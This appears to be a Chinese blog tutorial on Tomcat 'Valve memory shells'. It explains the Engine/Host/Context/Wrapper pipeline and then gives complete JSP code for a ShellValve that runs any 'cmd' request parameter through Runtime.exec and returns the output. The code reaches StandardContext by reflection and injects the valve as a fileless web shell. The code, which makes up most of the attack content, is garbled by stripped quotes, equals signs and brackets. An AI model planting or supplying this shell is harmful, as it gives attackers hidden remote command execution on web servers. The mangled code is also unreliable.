valve内存马了解valve基础知识tomcat由Connector和Container两部分组成container中有四种容器Engine, Host, Context, Wrapper。当一个请求http://safe.com/login/auth到达时Connector接收 Socket封装成Request对象。Engine接收请求查找域名为safe.com的Host。Host接收请求查找路径为/login的Context。Context接收请求查找对应auth路径映射的WrapperServlet。Wrapper最终执行Servlet.service()。关键点在上述每一个箭头的流转过程中都会触发该容器内部 Pipeline 上的所有Valve。每个容器有一个pipeline每个pipeline至少有一个valveBasicValve以链式连接。valve接口定义了setNext()和getNext()函数来指定下一个valvePipeline接口中也有很多操作valve的方法唯一实现了Pipeline的类是StandardPipeline其中的addValve逻辑为将新的valve添加到BasicValve前面基本的思路就是拿到context就可以获取pipeline然后addvalve完整代码% page importjava.io.* % % page importjava.lang.reflect.* % % page importorg.apache.catalina.core.* % % page importjavax.servlet.*, javax.servlet.http.* % % page importorg.apache.catalina.valves.ValveBase % % page importorg.apache.catalina.connector.Request % % page importorg.apache.catalina.connector.Response % %--声明一个恶意Valve--% %! public class ShellValve extends ValveBase { Override public void invoke(Request req, Response resp) throws IOException, ServletException { String cmd req.getParameter(cmd); if (cmd ! null) { Process proc Runtime.getRuntime().exec(cmd); BufferedReader br new BufferedReader( new InputStreamReader(proc.getInputStream())); String line; while ((line br.readLine()) ! null) { resp.getWriter().println(line); } br.close(); } this.next.invoke(req, resp); } } % %--从ServletContext中获取StandardContext--% % // 从request中获取servletContext ServletContext servletContext request.getServletContext(); // 从servletContext中获取applicationContext Field applicationContextField servletContext.getClass().getDeclaredField(context); applicationContextField.setAccessible(true); ApplicationContext applicationContext (ApplicationContext) applicationContextField.get(servletContext); // 从applicationContext中获取standardContext Field standardContextField applicationContext.getClass().getDeclaredField(context); standardContextField.setAccessible(true); StandardContext standardContext (StandardContext) standardContextField.get(applicationContext); % %--动态注册恶意Valve--% % standardContext.getPipeline().addValve(new ShellValve()); %参考内容https://www.cnblogs.com/coldridgeValley/p/5816414.htmlhttps://su18.org/post/memory-shell/https://www.bilibili.com/video/BV1HaGPzcENy